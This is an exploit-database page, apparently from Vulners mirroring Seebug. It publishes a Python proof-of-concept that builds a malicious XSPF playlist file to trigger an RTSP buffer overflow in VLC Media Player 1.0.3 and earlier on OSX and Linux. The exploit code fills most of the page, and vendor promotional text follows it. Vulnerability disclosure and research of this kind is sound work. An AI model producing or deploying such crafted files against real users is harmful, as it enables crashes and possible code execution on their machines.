Lucene search
K

VLC Media Player <= 1.0.3 RTSP Buffer Overflow PoC (OSX/Linux)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

VLC Media Player RTSP Buffer Overflow PoC (OSX/Linux

Code

                                                #!/usr/bin/env python

###########################################################################
#
# VLC Media Player &#60;= 1.0.3 RTSP Buffer Overflow PoC (OSX/Linux)
# Found By:     Dr_IDE
# Tested On:    OSX 10.6.2                      (v1.0.3)
# Tested On:    Ubuntu 9 [2.6.28-15-generic]    (v0.9.9a)
# Tested On:    No Go on Windows
#
###########################################################################

header1  = (&#34;&#60;?xml version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;?&#62;\n&#34;)
header1 += (&#34;&#60;playlist version=\&#34;1\&#34; xmlns=\&#34;http://xspf.org/ns/0/\&#34; xmlns:vlc=\&#34;http://www.videolan.org/vlc/playlist/ns/0/\&#34;&#62;\n&#34;)
header1 += (&#34;\t&#60;title&#62;Playlist&#60;/title&#62;\n&#34;)
header1 += (&#34;\t&#60;trackList&#62;\n&#34;)
header1 += (&#34;\t\t&#60;track&#62;\n&#34;)
header1 += (&#34;\t\t\t&#60;location&#62;rtsp://localhost@localhost/foo/#{&#34;)

payload  = (&#34;\x41&#34; * 2 + &#34;\x42&#34; * 4 + &#34;\x43&#34; * 10000)

header2  = (&#34;}&#60;/location&#62;\n&#34;);
header2 += (&#34;\t\t\t&#60;extension application=\&#34;http://www.videolan.org/vlc/playlist/0\&#34;&#62;\n&#34;);
header2 += (&#34;\t\t\t\t&#60;vlc:id&#62;0&#60;/vlc:id&#62;\n&#34;);
header2 += (&#34;\t\t\t&#60;/extension&#62;\n&#34;);
header2 += (&#34;\t\t&#60;/track&#62;\n&#34;);
header2 += (&#34;\t&#60;/trackList&#62;\n&#34;);
header2 += (&#34;&#60;/playlist&#62;\n&#34;);

try:
    f1 = open(&#34;vlc_1.0.X.xspf&#34;,&#34;w&#34;)
    f1.write(header1 + payload + header2)
    f1.close()
    print(&#34;\nExploit file created!\n&#34;)
except:
    print &#34;Error&#34;

#[pocoftheday.blogspot.com]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation